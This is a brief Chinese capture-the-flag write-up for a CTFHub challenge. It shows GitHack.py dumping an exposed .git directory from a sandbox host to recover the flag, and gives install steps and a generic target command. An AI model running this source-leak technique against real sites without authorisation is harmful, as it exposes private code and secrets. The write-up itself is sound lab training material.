靶场链接
https://www.ctfhub.com/#/challenge

使用GitHack.py扫描靶场地址
python GitHack.py http://challenge-0ba063bca946b086.sandbox.ctfhub.com:10800/.git/

打开得到的html文件,发现flag

GitHack下载:
安装Python与Git
下载并安装 Python
安装 Git,确保在命令行可执行 git 命令。
从 GitHub 获取源码:
https://github.com/lijiejie/GitHack
安装依赖库 在 GitHack 源码目录执行:
pip install GitPython==2.1.11pip install pathlib==1.0.1
运行GitHack 在 GitHack 目录打开命令行:
python GitHack.py http://example.com/.git/
将 http://example.com/.git/ 替换为目标地址。
评论 (0)